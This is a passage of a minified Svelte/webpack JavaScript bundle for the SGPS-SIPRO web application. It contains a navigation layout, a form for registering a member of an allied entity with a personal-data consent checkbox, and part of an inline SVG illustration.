f({props:{href:(0,o.BC)("dashboard"),active:(0,o.BC)().current("dashboard"),$$slots:{default:[j]},$$scope:{ctx:e}}}),_e=new f({props:{href:(0,o.BC)("logout"),method:"post",as:"button",$$slots:{default:[H]},$$scope:{ctx:e}}});let je=e[7].header&&C(e);Le=new p.Z({}),ve=new y.Z({props:{loading:e[1]}});const He=e[8].default,Ce=(0,a.nu)(He,e,e[34],null);function Ee(t){e[33](t)}let Oe={id:"main-menu",$$slots:{actions:[ie],content:[ne],title:[E]},$$scope:{ctx:e}};return void 0!==e[0]&&(Oe.open=e[0]),Ye=new g.Z({props:Oe}),a.Vn.push((()=>(0,a.ak)(Ye,"open",Ee))),{c(){n=(0,a.Dh)(),i=(0,a.bG)("div"),r=(0,a.bG)("div"),d=(0,a.bG)("nav"),c=(0,a.bG)("div"),m=(0,a.bG)("div"),_=(0,a.bG)("div"),h=(0,a.bG)("div"),v=(0,a.bG)("a"),(0,a.YC)(M.$$.fragment),k=(0,a.Dh)(),w=(0,a.bG)("div"),(0,a.YC)(O.$$.fragment),A=(0,a.Dh)(),I=(0,a.bG)("div"),R=(0,a.bG)("div"),P=new a.FW,F=(0,a.Dh)(),$e&&$e.c(),N=(0,a.Dh)(),z=(0,a.bG)("div"),U=(0,a.bG)("a"),W=(0,a.bi)("svg"),V=(0,a.bi)("path"),G=(0,a.Dh)(),Se&&Se.c(),Z=(0,a.Dh)(),J=(0,a.bG)("div"),(0,a.YC)(K.$$.fragment),X=(0,a.Dh)(),Q=(0,a.bG)("div"),ee=(0,a.bG)("div"),(0,a.YC)(te.$$.fragment),ae=(0,a.Dh)(),re=(0,a.bG)("div"),se=(0,a.bG)("div"),de=(0,a.bG)("div"),de.textContent=`${e[5].name}`,le=(0,a.Dh)(),ue=(0,a.bG)("div"),ue.textContent=`${e[5].email}`,ce=(0,a.Dh)(),me=(0,a.bG)("div"),(0,a.YC)(_e.$$.fragment),fe=(0,a.Dh)(),je&&je.c(),pe=(0,a.Dh)(),ge=(0,a.bG)("main"),(0,a.YC)(Le.$$.fragment),ye=(0,a.Dh)(),(0,a.YC)(ve.$$.fragment),Me=(0,a.Dh)(),Ce&&Ce.c(),be=(0,a.Dh)(),(0,a.YC)(Ye.$$.fragment),(0,a.Lj)(v,"href",b=(0,o.BC)("dashboard")),(0,a.Lj)(h,"class","flex-shrink-0 flex items-center"),(0,a.Lj)(w,"class","hidden space-x-8 sm:-my-px sm:ml-10 sm:flex sm:items-center"),(0,a.Lj)(_,"class","flex"),P.a=F,(0,a.Lj)(R,"class","bg-indigo-500 text-white py-2 px-4 shadow border-b-2 flex"),(0,a.Lj)(V,"stroke-linecap","round"),(0,a.Lj)(V,"stroke-linejoin","round"),(0,a.Lj)(V,"stroke-width","2"),(0,a.Lj)(V,"d","M15 17h5l-1.405-1.405A2.032 2.032 0 0118 14.158V11a6.002 6.002 0 00-4-5.659V5a2 2 0 10-4 0v.341C7.67 6.165 6 8.388 6 11v3.159c0 .538-.214 1.055-.595 1.436L4 17h5m6 0v1a3 3 0 11-6 0v-1m6 0H9"),(0,a.Lj)(W,"xmlns","http://www.w3.org/2000/svg"),(0,a.Lj)(W,"class","h-6 w-6"),(0,a.Lj)(W,"fill","none"),(0,a.Lj)(W,"viewBox","0 0 24 24"),(0,a.Lj)(W,"stroke","currentColor"),(0,a.Lj)(U,"href",q=(0,o.BC)("notificaciones.index")),(0,a.Lj)(U,"class","flex items-center hover:text-indigo-700"),(0,a.Lj)(z,"class","mr-5 ml-5 relative"),(0,a.Lj)(J,"class","ml-3 relative"),(0,a.Lj)(I,"class","hidden sm:flex sm:items-center sm:ml-6"),(0,a.Lj)(m,"class","flex justify-between h-16"),(0,a.Lj)(c,"class","max-w-7xl mx-auto px-4 sm:px-6 lg:px-8"),(0,a.Lj)(ee,"class","pt-2 pb-3 space-y-1"),(0,a.Lj)(de,"class","font-medium text-base text-gray-800"),(0,a.Lj)(ue,"class","font-medium text-sm text-gray-500"),(0,a.Lj)(se,"class","flex items-center px-4"),(0,a.Lj)(me,"class","mt-3 space-y-1"),(0,a.Lj)(re,"class","pt-4 pb-1 border-t border-gray-200"),(0,a.Lj)(Q,"class",he="sm:hidden"+(oe?"":" hidden")),(0,a.Lj)(d,"class","bg-white border-b border-gray-100"),(0,a.Lj)(ge,"class","lg:px-8 max-w-7xl md:p-12 mx-auto px-4 py-8 sm:px-6"),(0,a.Lj)(r,"class","min-h-screen bg-gray-100")},m(e,t){(0,a.$T)(e,n,t),(0,a.$T)(e,i,t),(0,a.R3)(i,r),(0,a.R3)(r,d),(0,a.R3)(d,c),(0,a.R3)(c,m),(0,a.R3)(m,_),(0,a.R3)(_,h),(0,a.R3)(h,v),(0,a.ye)(M,v,null),(0,a.R3)(_,k),(0,a.R3)(_,w),(0,a.ye)(O,w,null),(0,a.R3)(m,A),(0,a.R3)(m,I),(0,a.R3)(I,R),P.m(xe,R),(0,a.R3)(R,F),$e&&$e.m(R,null),(0,a.R3)(I,N),(0,a.R3)(I,z),(0,a.R3)(z,U),(0,a.R3)(U,W),(0,a.R3)(W,V),(0,a.R3)(U,G),Se&&Se.m(U,null),(0,a.R3)(I,Z),(0,a.R3)(I,J),(0,a.ye)(K,J,null),(0,a.R3)(d,X),(0,a.R3)(d,Q),(0,a.R3)(Q,ee),(0,a.ye)(te,ee,null),(0,a.R3)(Q,ae),(0,a.R3)(Q,re),(0,a.R3)(re,se),(0,a.R3)(se,de),(0,a.R3)(se,le),(0,a.R3)(se,ue),(0,a.R3)(re,ce),(0,a.R3)(re,me),(0,a.ye)(_e,me,null),(0,a.R3)(r,fe),je&&je.m(r,null),(0,a.R3)(r,pe),(0,a.R3)(r,ge),(0,a.ye)(Le,ge,null),(0,a.R3)(ge,ye),(0,a.ye)(ve,ge,null),(0,a.R3)(ge,Me),Ce&&Ce.m(ge,null),(0,a.$T)(e,be,t),(0,a.ye)(Ye,e,t),we=!0,Te||(De=[(0,a.TV)(Y=s.II.call(null,v)),(0,a.TV)(B=s.II.call(null,U))],Te=!0)},p(e,n){(!we||8&n[0])&&t!==(t=e[3]?`${e[3]} - SGPS-SIPRO`:"SGPS-SIPRO")&&(document.title=t);const i={};8&n[1]&&(i.$$scope={dirty:n,ctx:e}),O.$set(i),(!we||4&n[0])&&xe!==(xe=e[2].props.convocatoria.fase_formateada+"")&&P.p(xe),e[6]&&$e.p(e,n),e[2].props.auth.numeroNotificaciones>0?Se?Se.p(e,n):(Se=x(e),Se.c(),Se.m(U,null)):Se&&(Se.d(1),Se=null);const s={};16&n[0]|8&n[1]&&(s.$$scope={dirty:n,ctx:e}),K.$set(s);const o={};8&n[1]&&(o.$$scope={dirty:n,ctx:e}),te.$set(o);const d={};16&n[0]|8&n[1]&&(d.$$scope={dirty:n,ctx:e}),_e.$set(d),e[7].header?je?(je.p(e,n),128&n[0]&&(0,a.Ui)(je,1)):(je=C(e),je.c(),(0,a.Ui)(je,1),je.m(r,pe)):je&&((0,a.dv)(),(0,a.et)(je,1,1,(()=>{je=null})),(0,a.gb)());const l={};2&n[0]&&(l.loading=e[1]),ve.$set(l),Ce&&Ce.p&&(!we||8&n[1])&&(0,a.Tj)(Ce,He,e,e[34],we?n:[-1,-1],null,null);const u={};1&n[0]|8&n[1]&&(u.$$scope={dirty:n,ctx:e}),!ke&&1&n[0]&&(ke=!0,u.open=e[0],(0,a.hj)((()=>ke=!1))),Ye.$set(u)},i(e){we||((0,a.Ui)(M.$$.fragment,e),(0,a.Ui)(O.$$.fragment,e),(0,a.Ui)($e),(0,a.Ui)(K.$$.fragment,e),(0,a.Ui)(te.$$.fragment,e),(0,a.Ui)(_e.$$.fragment,e),(0,a.Ui)(je),(0,a.Ui)(Le.$$.fragment,e),(0,a.Ui)(ve.$$.fragment,e),(0,a.Ui)(Ce,e),(0,a.Ui)(Ye.$$.fragment,e),we=!0)},o(e){(0,a.et)(M.$$.fragment,e),(0,a.et)(O.$$.fragment,e),(0,a.et)($e),(0,a.et)(K.$$.fragment,e),(0,a.et)(te.$$.fragment,e),(0,a.et)(_e.$$.fragment,e),(0,a.et)(je),(0,a.et)(Le.$$.fragment,e),(0,a.et)(ve.$$.fragment,e),(0,a.et)(Ce,e),(0,a.et)(Ye.$$.fragment,e),we=!1},d(e){e&&(0,a.og)(n),e&&(0,a.og)(i),(0,a.vp)(M),(0,a.vp)(O),$e&&$e.d(),Se&&Se.d(),(0,a.vp)(K),(0,a.vp)(te),(0,a.vp)(_e),je&&je.d(),(0,a.vp)(Le),(0,a.vp)(ve),Ce&&Ce.d(e),e&&(0,a.og)(be),(0,a.vp)(Ye,e),Te=!1,(0,a.j7)(De)}}}const se=(0,i.fZ)(null);(0,i.fZ)(null);let oe=!1;function de(e,t,n){let i,l,u,c=a.ZT;(0,a.FI)(e,s.Md,(e=>n(2,i=e))),(0,a.FI)(e,se,(e=>n(3,l=e))),(0,a.FI)(e,d._,(e=>n(4,u=e))),e.$$.on_destroy.push((()=>c()));let{$$slots:m={},$$scope:_}=t;const h=(0,a.XG)(m);let f=!1,p=i.props.auth.user,g=(0,o.Zd)(p,[1]),L=!0;r.rC.on("start",(()=>{n(1,L=!1)})),r.rC.on("finish",(()=>{n(1,L=!0)}));return e.$$set=e=>{"$$scope"in e&&n(34,_=e.$$scope)},[f,L,i,l,u,p,g,h,m,()=>n(0,f=!0),()=>r.rC.visit((0,o.BC)("convocatorias.edit",[i.props.convocatoria.id])),e=>n(0,f=!1),()=>r.rC.visit((0,o.BC)("ambientes-modernizacion.index")),()=>r.rC.visit((0,o.BC)("anexos.index")),()=>r.rC.visit((0,o.BC)("centros-formacion.index")),()=>r.rC.visit((0,o.BC)("convocatorias.index")),()=>r.rC.visit((0,o.BC)("evaluaciones.index")),()=>r.rC.visit((0,o.BC)("grupos-investigacion.index")),()=>r.rC.visit((0,o.BC)("lineas-investigacion.index")),()=>r.rC.visit((0,o.BC)("lineas-programaticas.index")),()=>r.rC.visit((0,o.BC)("lineas-tecnoacademia.index")),()=>r.rC.visit((0,o.BC)("mesas-tecnicas.index")),()=>r.rC.visit((0,o.BC)("programas-formacion.index")),()=>r.rC.visit((0,o.BC)("proyectos.index")),()=>r.rC.visit((0,o.BC)("redes-conocimiento.index")),()=>r.rC.visit((0,o.BC)("regionales.index")),()=>r.rC.visit((0,o.BC)("reportes.index")),()=>r.rC.visit((0,o.BC)("roles-sennova.index")),()=>r.rC.visit((0,o.BC)("roles.index")),()=>r.rC.visit((0,o.BC)("semilleros-investigacion.index")),()=>r.rC.visit((0,o.BC)("tecnoacademias.index")),()=>r.rC.visit((0,o.BC)("tematicas-estrategicas.index")),()=>r.rC.visit((0,o.BC)("users.index")),function(e){f=e,n(0,f)},_]}class le extends a.f_{constructor(e){super(),(0,a.S1)(this,e,de,re,a.N8,{},[-1,-1])}}const ue=le},70606:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:()=>Y});var a=n(21379),i=n(39150),r=n(52218),s=n(9437),o=(n(21843),n(93879)),d=n(48825),l=n(52906),u=n(99695),c=n(41565),m=n(65843),_=n(42160);function h(e){let t,n,i;function r(t){e[16](t)}let s={};return void 0!==e[6].autorizacion_datos&&(s.checked=e[6].autorizacion_datos),t=new m.Z({props:s}),a.Vn.push((()=>(0,a.ak)(t,"checked",r))),{c(){(0,a.YC)(t.$$.fragment)},m(e,n){(0,a.ye)(t,e,n),i=!0},p(e,i){const r={};!n&&64&i&&(n=!0,r.checked=e[6].autorizacion_datos,(0,a.hj)((()=>n=!1))),t.$set(r)},i(e){i||((0,a.Ui)(t.$$.fragment,e),i=!0)},o(e){(0,a.et)(t.$$.fragment,e),i=!1},d(e){(0,a.vp)(t,e)}}}function f(e){let t;return{c(){t=(0,a.bG)("span"),t.innerHTML='¿La persona autoriza el tratamiento de datos personales?. <a href="https://www.sena.edu.co/es-co/transparencia/Documents/proteccion_datos_personales_sena_2016.pdf" target="_blank" class="text-indigo-500">Leer acuerdo No. 0009 del 2016</a>',(0,a.Lj)(t,"slot","label")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function p(e){let t,n,i;function r(t){e[17](t)}let s={loading:e[5],class:"btn-indigo ml-auto",type:"submit",$$slots:{default:[g]},$$scope:{ctx:e}};return void 0!==e[6].autorizacion_datos&&(s.disabled=e[6].autorizacion_datos),t=new l.Z({props:s}),a.Vn.push((()=>(0,a.ak)(t,"disabled",r))),{c(){(0,a.YC)(t.$$.fragment)},m(e,n){(0,a.ye)(t,e,n),i=!0},p(e,i){const r={};32&i&&(r.loading=e[5]),1048576&i&&(r.$$scope={dirty:i,ctx:e}),!n&&64&i&&(n=!0,r.disabled=e[6].autorizacion_datos,(0,a.hj)((()=>n=!1))),t.$set(r)},i(e){i||((0,a.Ui)(t.$$.fragment,e),i=!0)},o(e){(0,a.et)(t.$$.fragment,e),i=!1},d(e){(0,a.vp)(t,e)}}}function g(e){let t;return{c(){t=(0,a.fL)("Crear miembro de la entidad aliada")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function L(e){let t,n,i,r,l,m,g,L,y,v,M,b,Y,k,w,T,D,x,$,S,j,H,C,E,O,A,I,R,P,F,N,z,U,W,V,G=e[8]||(0,s.P_)(e[7],[1])&&1==e[2].modificable;function q(t){e[11](t)}let B={label:"Nombre completo",id:"nombre",type:"text",class:"mt-1",error:e[0].nombre,required:!0};function Z(t){e[12](t)}void 0!==e[6].nombre&&(B.value=e[6].nombre),l=new o.Z({props:B}),a.Vn.push((()=>(0,a.ak)(l,"value",q)));let J={label:"Correo electrónico",id:"email",type:"email",class:"mt-1",error:e[0].email,required:!0};function K(t){e[13](t)}void 0!==e[6].email&&(J.value=e[6].email),y=new o.Z({props:J}),a.Vn.push((()=>(0,a.ak)(y,"value",Z))),Y=new d.Z({props:{required:!0,class:"mb-4",labelFor:"tipo_documento",value:"Tipo de documento"}});let X={id:"tipo_documento",items:e[4],error:e[0].tipo_documento,autocomplete:"off",placeholder:"Seleccione un tipo de documento",required:!0};function Q(t){e[14](t)}void 0!==e[6].tipo_documento&&(X.selectedValue=e[6].tipo_documento),w=new u.Z({props:X}),a.Vn.push((()=>(0,a.ak)(w,"selectedValue",K)));let ee={label:"Número de documento",id:"numero_documento",type:"number",input$min:"55555",input$max:"9999999999999",class:"mt-1",error:e[0].numero_documento,required:!0};function te(t){e[15](t)}void 0!==e[6].numero_documento&&(ee.value=e[6].numero_documento),$=new o.Z({props:ee}),a.Vn.push((()=>(0,a.ak)($,"value",Q)));let ne={label:"Número de celular",id:"numero_celular",type:"number",input$min:"3000000000",input$max:"9999999999",class:"mt-1",error:e[0].numero_celular,required:!0};void 0!==e[6].numero_celular&&(ne.value=e[6].numero_celular),C=new o.Z({props:ne}),a.Vn.push((()=>(0,a.ak)(C,"value",te))),I=new c.Z({props:{message:"Los datos proporcionados serán tratados de acuerdo con la política de tratamiento de datos personales del SENA y a la ley 1581 de 2012 (acuerdo No. 0009 del 2016)"}}),P=new _.Z({props:{$$slots:{label:[f],default:[h]},$$scope:{ctx:e}}});let ae=G&&p(e);return{c(){t=(0,a.bG)("div"),n=(0,a.bG)("form"),i=(0,a.bG)("fieldset"),r=(0,a.bG)("div"),(0,a.YC)(l.$$.fragment),g=(0,a.Dh)(),L=(0,a.bG)("div"),(0,a.YC)(y.$$.fragment),M=(0,a.Dh)(),b=(0,a.bG)("div"),(0,a.YC)(Y.$$.fragment),k=(0,a.Dh)(),(0,a.YC)(w.$$.fragment),D=(0,a.Dh)(),x=(0,a.bG)("div"),(0,a.YC)($.$$.fragment),j=(0,a.Dh)(),H=(0,a.bG)("div"),(0,a.YC)(C.$$.fragment),O=(0,a.Dh)(),A=(0,a.bG)("div"),(0,a.YC)(I.$$.fragment),R=(0,a.Dh)(),(0,a.YC)(P.$$.fragment),N=(0,a.Dh)(),z=(0,a.bG)("div"),ae&&ae.c(),(0,a.Lj)(r,"class","mt-4"),(0,a.Lj)(L,"class","mt-4"),(0,a.Lj)(b,"class","mt-4"),(0,a.Lj)(x,"class","mt-4"),(0,a.Lj)(H,"class","mt-4"),(0,a.Lj)(A,"class","mt-4"),(0,a.Lj)(i,"class","p-8"),i.disabled=F=!(e[8]||(0,s.P_)(e[7],[1])&&1==e[2].modificable)||void 0,(0,a.Lj)(z,"class","px-8 py-4 bg-gray-100 border-t border-gray-200 flex items-center sticky bottom-0"),(0,a.Lj)(t,"class","bg-white rounded shadow max-w-3xl")},m(s,o){(0,a.$T)(s,t,o),(0,a.R3)(t,n),(0,a.R3)(n,i),(0,a.R3)(i,r),(0,a.ye)(l,r,null),(0,a.R3)(i,g),(0,a.R3)(i,L),(0,a.ye)(y,L,null),(0,a.R3)(i,M),(0,a.R3)(i,b),(0,a.ye)(Y,b,null),(0,a.R3)(b,k),(0,a.ye)(w,b,null),(0,a.R3)(i,D),(0,a.R3)(i,x),(0,a.ye)($,x,null),(0,a.R3)(i,j),(0,a.R3)(i,H),(0,a.ye)(C,H,null),(0,a.R3)(i,O),(0,a.R3)(i,A),(0,a.ye)(I,A,null),(0,a.R3)(A,R),(0,a.ye)(P,A,null),(0,a.R3)(n,N),(0,a.R3)(n,z),ae&&ae.m(z,null),U=!0,W||(V=(0,a.oL)(n,"submit",(0,a.AT)(e[10])),W=!0)},p(e,t){const n={};1&t&&(n.error=e[0].nombre),!m&&64&t&&(m=!0,n.value=e[6].nombre,(0,a.hj)((()=>m=!1))),l.$set(n);const r={};1&t&&(r.error=e[0].email),!v&&64&t&&(v=!0,r.value=e[6].email,(0,a.hj)((()=>v=!1))),y.$set(r);const o={};16&t&&(o.items=e[4]),1&t&&(o.error=e[0].tipo_documento),!T&&64&t&&(T=!0,o.selectedValue=e[6].tipo_documento,(0,a.hj)((()=>T=!1))),w.$set(o);const d={};1&t&&(d.error=e[0].numero_documento),!S&&64&t&&(S=!0,d.value=e[6].numero_documento,(0,a.hj)((()=>S=!1))),$.$set(d);const u={};1&t&&(u.error=e[0].numero_celular),!E&&64&t&&(E=!0,u.value=e[6].numero_celular,(0,a.hj)((()=>E=!1))),C.$set(u);const c={};1048640&t&&(c.$$scope={dirty:t,ctx:e}),P.$set(c),(!U||4&t&&F!==(F=!(e[8]||(0,s.P_)(e[7],[1])&&1==e[2].modificable)||void 0))&&(i.disabled=F),4&t&&(G=e[8]||(0,s.P_)(e[7],[1])&&1==e[2].modificable),G?ae?(ae.p(e,t),4&t&&(0,a.Ui)(ae,1)):(ae=p(e),ae.c(),(0,a.Ui)(ae,1),ae.m(z,null)):ae&&((0,a.dv)(),(0,a.et)(ae,1,1,(()=>{ae=null})),(0,a.gb)())},i(e){U||((0,a.Ui)(l.$$.fragment,e),(0,a.Ui)(y.$$.fragment,e),(0,a.Ui)(Y.$$.fragment,e),(0,a.Ui)(w.$$.fragment,e),(0,a.Ui)($.$$.fragment,e),(0,a.Ui)(C.$$.fragment,e),(0,a.Ui)(I.$$.fragment,e),(0,a.Ui)(P.$$.fragment,e),(0,a.Ui)(ae),U=!0)},o(e){(0,a.et)(l.$$.fragment,e),(0,a.et)(y.$$.fragment,e),(0,a.et)(Y.$$.fragment,e),(0,a.et)(w.$$.fragment,e),(0,a.et)($.$$.fragment,e),(0,a.et)(C.$$.fragment,e),(0,a.et)(I.$$.fragment,e),(0,a.et)(P.$$.fragment,e),(0,a.et)(ae),U=!1},d(e){e&&(0,a.og)(t),(0,a.vp)(l),(0,a.vp)(y),(0,a.vp)(Y),(0,a.vp)(w),(0,a.vp)($),(0,a.vp)(C),(0,a.vp)(I),(0,a.vp)(P),ae&&ae.d(),W=!1,V()}}}function y(e){let t,n,i,o,d,l,u,c=e[8]||(0,s.P_)(e[7],[1]),m=c&&function(e){let t,n,i,o,d,l;return{c(){t=(0,a.bG)("a"),n=(0,a.fL)("Miembros de la entidad aliada"),(0,a.Lj)(t,"href",i=(0,s.BC)("convocatorias.proyectos.entidades-aliadas.miembros-entidad-aliada.index",[e[1].id,e[2].id,e[3].id])),(0,a.Lj)(t,"class","text-indigo-400 hover:text-indigo-600")},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n),d||(l=(0,a.TV)(o=r.II.call(null,t)),d=!0)},p(e,n){14&n&&i!==(i=(0,s.BC)("convocatorias.proyectos.entidades-aliadas.miembros-entidad-aliada.index",[e[1].id,e[2].id,e[3].id]))&&(0,a.Lj)(t,"href",i)},d(e){e&&(0,a.og)(t),d=!1,l()}}}(e);return{c(){t=(0,a.bG)("header"),n=(0,a.bG)("div"),i=(0,a.bG)("div"),o=(0,a.bG)("h1"),m&&m.c(),d=(0,a.Dh)(),l=(0,a.bG)("span"),l.textContent="/",u=(0,a.fL)("\r\n Crear"),(0,a.Lj)(l,"class","text-indigo-400 font-medium"),(0,a.Lj)(n,"class","flex items-center justify-between lg:px-8 max-w-7xl mx-auto px-4 py-6 sm:px-6"),(0,a.Lj)(t,"class","shadow bg-white"),(0,a.Lj)(t,"slot","header")},m(e,r){(0,a.$T)(e,t,r),(0,a.R3)(t,n),(0,a.R3)(n,i),(0,a.R3)(i,o),m&&m.m(o,null),(0,a.R3)(o,d),(0,a.R3)(o,l),(0,a.R3)(o,u)},p(e,t){c&&m.p(e,t)},d(e){e&&(0,a.og)(t),m&&m.d()}}}function v(e){let t,n;return t=new i.ZP({props:{$$slots:{header:[y],default:[L]},$$scope:{ctx:e}}}),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,[n]){const a={};1048703&n&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}function M(e,t,n){let o,d,l;(0,a.FI)(e,i.TN,(e=>n(18,o=e))),(0,a.FI)(e,r.Md,(e=>n(19,d=e)));let{errors:u}=t,{convocatoria:c}=t,{proyecto:m}=t,{entidadAliada:_}=t,{tiposDocumento:h}=t,f=d.props.auth.user,p=(0,s.Zd)(f,[1]),g=!1,L=(0,r.cI)({nombre:"",email:"",tipo_documento:"",numero_documento:"",numero_celular:"",autorizacion_datos:!1});return(0,a.FI)(e,L,(e=>n(6,l=e))),e.$$set=e=>{"errors"in e&&n(0,u=e.errors),"convocatoria"in e&&n(1,c=e.convocatoria),"proyecto"in e&&n(2,m=e.proyecto),"entidadAliada"in e&&n(3,_=e.entidadAliada),"tiposDocumento"in e&&n(4,h=e.tiposDocumento)},(0,a.fx)(i.TN,o="Crear miembro de entidad aliada",o),[u,c,m,_,h,g,l,f,p,L,function(){(p||(0,s.P_)(f,[1])&&1==m.modificable)&&l.post((0,s.BC)("convocatorias.proyectos.entidades-aliadas.miembros-entidad-aliada.store",[c.id,m.id,_.id]),{onStart:()=>n(5,g=!0),onFinish:()=>n(5,g=!1)})},function(t){e.$$.not_equal(l.nombre,t)&&(l.nombre=t,L.set(l))},function(t){e.$$.not_equal(l.email,t)&&(l.email=t,L.set(l))},function(t){e.$$.not_equal(l.tipo_documento,t)&&(l.tipo_documento=t,L.set(l))},function(t){e.$$.not_equal(l.numero_documento,t)&&(l.numero_documento=t,L.set(l))},function(t){e.$$.not_equal(l.numero_celular,t)&&(l.numero_celular=t,L.set(l))},function(t){e.$$.not_equal(l.autorizacion_datos,t)&&(l.autorizacion_datos=t,L.set(l))},function(t){e.$$.not_equal(l.autorizacion_datos,t)&&(l.autorizacion_datos=t,L.set(l))}]}class b extends a.f_{constructor(e){super(),(0,a.S1)(this,e,M,v,a.N8,{errors:0,convocatoria:1,proyecto:2,entidadAliada:3,tiposDocumento:4})}}const Y=b},10671:(e,t,n)=>{"use strict";n.d(t,{Z:()=>o});var a=n(21379);n(42444);function i(e){let t,n,i,r,s,o,d,l,u,c,m,_,h,f,p,g,L,y,v,M,b,Y,k,w,T,D,x,$,S,j,H,C,E,O,A,I,R,P,F,N,z,U,W,V,G,q,B,Z,J,K,X,Q,ee,te,ne,ae,ie,re,se,oe,de=[{xmlns:"http://www.w3.org/2000/svg"},{"xmlns:xlink":"http://www.w3.org/1999/xlink"},{viewBox:"0 0 327 306.62"},e[0]],le={};for(let e=0;e<de.length;e+=1)le=(0,a.f0)(le,de[e]);return{c(){t=(0,a.bi)("svg"),n=(0,a.bi)("defs"),i=(0,a.bi)("style"),r=(0,a.fL)(".cls-1 {\r\n isolation: isolate;\r\n }\r\n .cls-2 {\r\n fill: url(#linear-gradient);\r\n }\r\n .cls-3 {\r\n fill: url(#linear-gradient-2);\r\n }\r\n .cls-12,\r\n .cls-4,\r\n .cls-9 {\r\n opacity: 0.3;\r\n mix-blend-mode: multiply;\r\n }\r\n .cls-5 {\r\n fill: url(#linear-gradient-3);\r\n }\r\n .cls-6 {\r\n fill: url(#linear-gradient-4);\r\n }\r\n .cls-7 {\r\n fill: #eff2f6;\r\n }\r\n .cls-8 {\r\n fill: url(#linear-gradient-5);\r\n }\r\n .cls-9 {\r\n fill: url(#linear-gradient-6);\r\n }\r\n .cls-10 {\r\n fill: url(#linear-gradient-7);\r\n }\r\n .cls-11 {\r\n fill: url(#linear-gradient-8);\r\n }\r\n .cls-12 {\r\n fill: url(#linear-gradient-9);\r\n }\r\n .cls-13 {\r\n fill: url(#linear-gradient-10);\r\n }\r\n .cls-14 {\r\n fill: url(#linear-gradient-11);\r\n }\r\n .cls-15 {\r\n fill: url(#linear-gradient-12);\r\n }\r\n .cls-16 {\r\n fill: url(#linear-gradient-13);\r\n }\r\n .cls-17 {\r\n fill: url(#linear-gradient-14);\r\n }\r\n .cls-18 {\r\n fill: url(#linear-gradient-15);\r\n }\r\n .cls-19 {\r\n fill: url(#linear-gradient-16);\r\n }\r\n .cls-20 {\r\n fill: url(#linear-gradient-17);\r\n }\r\n .cls-21 {\r\n fill: url(#linear-gradient-18);\r\n }\r\n .cls-22 {\r\n fill: url(#linear-gradient-19);\r\n }\r\n "),s=(0,a.bi)("linearGradient"),o=(0,a.bi)("stop"),d=(0,a.bi)("stop"),l=(0,a.bi)("linearGradient"),u=(0,a.bi)("stop"),c=(0,a.bi)("stop"),m=(0,a.bi)("linearGradient"),_=(0,a.bi)("linearGradient"),h=(0,a.bi)("stop"),f=(0,a.bi)("stop"),p=(0,a.bi)("linearGradient"),g=(0,a.bi)("linearGradient"),L=(0,a.bi)("linearGradient"),y=(0,a.bi)("linearGradient"),v=(0,a.bi)("linearGradient"),M=(0,a.bi)("linearGradient"),b=(0,a.bi)("linearGradient"),Y=(0,a.bi)("stop"),k=(0,a.bi)("stop"),w=(0,a.bi)("linearGradient"),T=(0,a.bi)("linearGradient"),D=(0,a.bi)("linearGradient"),x=(0,a.bi)("linearGradient"),$=(0,a.bi)("linearGradient"),S=(0,a.bi)("linearGradient"),j=(0,a.bi)("stop"),H=(0,a.bi)("stop"),C=(0,a.bi)("linearGradient"),E=(0,a.bi)("linearGradient"),O=(0,a.bi)("g"),A=(0,a.bi)("g"),I=(0,a.bi)("g"),R=(0,a.bi)("path"),P=(0,a.bi)("path"),F=(0,a.bi)("g"),N=(0,a.bi)("path"),z=(0,a.bi)("path"),U=(0,a.bi)("path"),W=(0,a.bi)("path"),V=(0,a.bi)("path"),G=(0,a.bi)("path"),q=(0,a.bi)("path"),B=(0,a.bi)("path"),Z=(0,a.bi)("path"),J=(0,a.bi)("path"),K=(0,a.bi)("path"),X=(0,a.bi)("path"),Q=(0,a.bi)("path"),ee=(0,a.bi)("path"),te=(0,a.bi)("path"),ne=(0,a.bi)("g"),ae=(0,a.bi)("path"),ie=(0,a.bi)("path"),re=(0,a.bi)("g"),se=(0,a.bi)("path"),oe=(0,a.bi)("path"),(0,a.Lj)(o,"offset","0"),(0,a.Lj)(o,"stop-color","#ab316d"),(0,a.Lj)(d,"offset","1"),(0,a.Lj)(d,"stop-color","#792d3d"),(0,a.Lj)(s,"id","linear-gradient"),(0,a.Lj)(s,"x1","1108.86"),(0,a.Lj)(s,"y1","42.61"),(0,a.Lj)(s,"x2","994.34"),(0,a.Lj)(s,"y2","439.04"),(0,a.Lj)(s,"gradientTransform","translate(-936.65)"),(0,a.Lj)(s,"gradientUnits","userSpaceOnUse"),(0,a.Lj)(u,"offset","0"),(0,a.Lj)(u,"stop-color","#ffc444"),(0,a.Lj)(c,"offset","1"),(0,a.Lj)(c,"stop-color","#f36f56"),(0,a.Lj)(l,"id","linear-gradient-2"),(0,a.Lj)(l,"x1","1116.22"),(0,a.Lj)(l,"y1","42.61"),(0,a.Lj)(l,"x2","1001.7"),(0,a.Lj)(l,"y2","439.04"),(0,a.Lj)(l,"gradientTransform","translate(-936.65)"),(0,a.Lj)(l,"gradientUnits","userSpaceOnUse"),(0,a.Lj)(m,"id","linear-gradient-3"),(0,a.Lj)(m,"x1","1104.05"),(0,a.Lj)(m,"y1","32.89"),(0,a.Lj)(m,"x2","986.99"),(0,a.Lj)(m,"y2","438.1"),(0,a.G_)(m,"xlink:href","#linear-gradient-2"),(0,a.Lj)(h,"offset","0"),(0,a.Lj)(h,"stop-color","#fff"),(0,a.Lj)(f,"offset","1"),(0,a.Lj)(f,"stop-color","#ebeff2"),(0,a.Lj)(_,"id","linear-gradient-4"),(0,a.Lj)(_,"x1","1114.11"),(0,a.Lj)(_,"y1","54.98"),(0,a.Lj)(_,"x2","1011.08"),(0,a.Lj)(_,"y2","411.64"),(0,a.Lj)(_,"gradientTransform","translate(-936.65)"),(0,a.Lj)(_,"gradientUnits","userSpaceOnUse"),(0,a.Lj)(p,"id","linear-gradient-5"),(0,a.Lj)(p,"x1","1109.44"),(0,a.Lj)(p,"y1","79.68"),(0,a.Lj)(p,"x2","1029.34"),(0,a.Lj)(p,"y2","356.93"),(0,a.G_)(p,"xlink:hr